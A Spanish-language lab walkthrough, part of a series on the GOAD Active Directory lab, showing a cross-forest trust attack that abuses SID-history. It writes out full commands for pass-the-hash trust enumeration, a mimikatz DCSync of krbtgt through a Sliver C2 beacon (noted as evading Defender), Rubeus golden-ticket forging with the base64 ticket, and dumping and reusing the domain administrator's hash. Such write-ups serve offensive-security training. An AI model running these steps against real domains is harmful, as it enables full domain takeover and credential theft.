Game of Active Directory - Parte 6
En esta sexta parte vamos a atacar el servidor kingslanding.sevenkingdoms.local, que es el controlador de dominio de sevenkingdoms.local. Nos aprovecharemos de la relación de confianza bidireccional que tiene con el dominio essos.local que, en este caso está configurado con la opción sid-history. Esto nos permitirá crear un golden ticket con acceso total al dominio sevenkingdoms.local y podremos hacer un dcsync obteniendo el hash del administrador.
Un poco de teoría necesaria
El SID es un identificador único que se asigna a cada objeto (usuario,grupo.equipo) y se utiliza para identificarlo dentro de un dominio y para controlar el acceso a los recursos.
El SID-history es una propiedad de un usuario u objeto de grupo que permite que el objeto conserve su SID cuando se migra de un dominio a otro. Cuando un objeto se migra a un nuevo dominio, se le asigna un nuevo SID en el dominio de destino. El SID-history permite que el objeto conserve su SID original, de modo que no se pierda el acceso a los recursos en el dominio de origen. Por ejemplo cuando una empresa A adquiere otra empresa B, pero los usuarios de la empresa A necesitan continuar accediendo a los recursos del dominio origen.
Además existe el concepto de filtrado de SID, que de estar habilitado en una confianza, impide que el SID-history haga su trabajo. Pero hay ciertos escenarios, como el que vamos a explotar, en el que algunos SID no se filtran, y se permite el SID-history en los objetos con RID mayor que 1000.
Enumerando las confianzas entre dominios
Vamos a enumerar las relaciones de confianza que hay configuradas en nuestro laboratorio GOAD. Para ello podemos utilizar diferentes herramientas.
BloodHound
Con bloodhound podemos ver que existe una relación de confianza bidireccional entre essos.local y sevenkingdoms.local, además también vemos que hay otra relación de confianza entre north.sevenkingdoms.local y sevenkingdoms.local, pero esta es del tipo padre-hijo, ya que los dos dominios pertenecen al mismo bosque, y es otro vector de explotación.
Netexec
Con Netexec también podemos enumerar las relaciones de confianza ya que tenemos el hash del administrador del dominio essos.local.
nxc ldap 192.168.56.12 -u Administrator -H 54296a48cd30259cc88095373cec24da -M enum_trusts
Ldeep
Con la herramienta ldeep podemos enumerar las relaciones de confianza tanto en un sentido como en el otro, aprovechando que tenemos el hash NTLM del administrador del dominio essos.local, lo que la hace la mejor opción.
ldeep ldap -u administrator -H aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da -d essos.local -s ldap://192.168.56.12 trusts
ldeep ldap -u administrator -H aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da -d essos.local -s ldap://192.168.56.10 trusts
Podemos ver que en el sentido sevenkingdoms –> essos nos muestra TREAT_AS_EXTERNAL, lo cual significa que el SID-history está funcionando.
Enumerando el dominio sevenkingdoms
Volvemos a bloodhound y obtenemos la información del dominio sevenkingdoms.
bloodhound.py --zip -c All -d sevenkingdoms.local -u brandon.stark@north.sevenkingdoms.local -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10
Añadimos la información a bloodhound y nos encontramos con un grupo (Dragonrider) que puede hacer dcsync en el dominio, y además tiene un RID superior a 1000, con lo cual es perfecto para nuestra explotación.
Crearemos un golden ticket, con un usuario fake, que tenga en el SID-history el SID del grupo Dragonrider, y luego lo utilizaremos para hacer un dcsync, haciéndonos pasar por un controlador de dominio que quiere sincronizar el dominio, obteniendo los hashes de los usuarios, incluido el del administrador.
Gloden ticket
Partimos de un beacon de sliver del administrador de meereen.essos.local, que es como acabamos el artículo anterior.
Hacemos un interactive para que nos llegue una sesión y utilizamos Rubeus para crear el golden ticket. Pero antes necesitamos el hash NTLM de la cuenta krbtgt, para ello podemos utilizar mimikatz.
Desde nuestra sesión de sliver:
sideload /opt/resources/windows/mimikatz/x64/mimikatz.exe '"lsadump::dcsync /user:essos\krbtgt /domain:essos.local"' "exit"
Con sideload sliver utiliza la técnica donut, con lo cual ya por defecto no lo detectará el defender.
Ya tenemos el hash NTLM de la cuenta krbtgt, también necesitamos el SID del dominio, y el del grupo Dragonrider, que los podemos ver fácilmente en bloodhound.
rubeus golden /rc4:64051e1f3788a0fdd228d49c3a5699b2 /user:ximo /domain:essos.local /sid:S-1-5-21-118792996-4179208096-474928429 /sids:S-1-5-21-3054785283-3658331461-2864622297-1111 /nowrap
Ahora crearemos un proceso cmd.exe con el ticket que acabamos de crear, para luego migrar a ese proceso y tener el ticket importado.
execute-assembly -i -E /root/.sliver-client/aliases/rubeus/Rubeus.exe createnetonly /program:C:\\windows\\system32\\cmd.exe /domain:essos.local /username:ximo /password:blah /ticket:doIFSzCCBUegAwIBBaEDAgEWooIEVDCCBFBhggRMMIIESKADAgEFoQ0bC0VTU09TLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0Gwtlc3Nvcy5sb2NhbKOCBA4wggQKoAMCARehAwIBA6KCA/wEggP46S4POeaYFGWnagLY0nN2mwDWWXb64/WDPv9FcXpC0MTNDlLwGEgcaZbzNgWrcfsC/oRQntWiqF1ANyLcV+NOLBkzI090PxkEMQaRroBo2eDqA0V2lU2Alf5tnKcyVn/1Twt5M/dySzFDCxHe87R+ANFQzR/PQp1q3YmhlqHICHbuklEoFbsmqXYeGUDQuUaXWvtGGEX5XpL3Pl+dpEjUUkpgV053AZ2eSTKrN2N5f5yIZHGKQTnd4P6qIWJwMxH8a7XotwrqWUTw0PtX3VPCF9JlQaROESXqTRvkqALkv4p4XyLDUXkzlmCMymdql+3ufwQdeoFYoNEFZ500YaarqQRbQPFZnxuuDYjTyX5ZZh91zaDwIUXsFVymaefM4MpsEL6hAR6mZZ+0qtY7ghFZxa5N+ZijrXrQ9Xh45Fryg8p9pAd9i7D2hbXgaHEyS6jdWdZl14JOrsULlF0OWZsBqJhNmhuk60gukdicQI4wS+td26ZsVrM5dG1wL/zrx194EGiFn62SGDfhN6G70BHpNc9RzdyAXKf7ZnTN8fp+QIYh6toBW/1WhUzlhjvzviMBitQe38QhLGjUr38uAFFcJZ39Tl61JWPfYvFdLJy8Ia6q7NxIddKy4Z3UBLBDLtv258A0c++kD4Mgsd0C9FQ957FFaxQJ/R0rrsTaWAu/8q9NuGhBs6Yt1XRHmP3RKhqiBhq7VzhJFIpBCVyXGwh52esLfMmLXv6S4G5r5KefuNrjVnZoYui1DsDieKSZ1OJTvB+jbDUJzUN0XZHTGNj2bp4dyMpha4DmTR/wxZ3yb73dxGOSy+MLt9yAokDWy/Moca7QkkooUvk2iIzmv2+YhmRNRWhCZFWVCYpmttzA10atkHIBffyqoyYrX9HSybjq7OEOIAY/atJd+KIzMDBZqXB+AzZXNE405CzvhSuS6Bt4/4Y9EKYu9aayqZHDQlkSORdpLa0Tp+aN1zDg6pV+M/karr+yUrk+DGAUdRnc23/ku29//LjqqstL5AUsmRprmGYBr+1r30QtfoCZd+BIrZ8IayxBmRLFmn5+VodhCTddaULiK/896Lr6a6nou0Ih47LD9JXZ+xnF0iejNbgWCXdq+Xlchkl7ZGKv7yyb1tkAiV4lD+N0b3QWOYYeHMFJm9uebJ+VgoPrdCtdKhkomjkPomvrBG/+g3/b0NVOakljX02UDvjAHTYisSpT9MYPF6wtsmaSKHJ8NdP33+JgmA8ED5N1GSt9srv5yqOlI4XXQyiXYYPaoZ8lIgiqOfGO5WYwc1e2UoASBA/0h+IVlu7S7Ln38rtV3BTDfcWUIt6fEJccxtSIOpSJUz0WF7/eR5GTWqhf+NujgeIwgd+gAwIBAKKB1wSB1H2B0TCBzqCByzCByDCBxaAbMBmgAwIBF6ESBBBqqsXGSN74OMjOfAjS98mWoQ0bC0VTU09TLkxPQ0FMohEwD6ADAgEBoQgwBhsEeGltb6MHAwUAQOAAAKQRGA8yMDI0MDYxNTIxNTQwOVqlERgPMjAyNDA2MTUyMTU0MDlaphEYDzIwMjQwNjE2MDc1NDA5WqcRGA8yMDI0MDYyMjIxNTQwOVqoDRsLRVNTT1MuTE9DQUypIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC2Vzc29zLmxvY2Fs
Interactuamos con la nueva sesión, que tiene el ticket importado, y vemos que ya podemos listar la unidad C de kingslanding.sevenkingdoms.local
Administrador de sevenkingdoms
Ya con el ticket podemos obtener el hash del administrador. También desde sliver ejecutamos sharpsecdump para obtenerlo.
sharpsecdump '' -target=kingslanding.sevenkingdoms.local
Por último podemos conectarnos con evil-winrm al servidor utilizando el hash, subir el archivo excel.exe que hemos estado utilizando en los artículos anteriores, y ejecutarlo para obtener el beacon del administrador de kingslanding.sevenkingdoms.local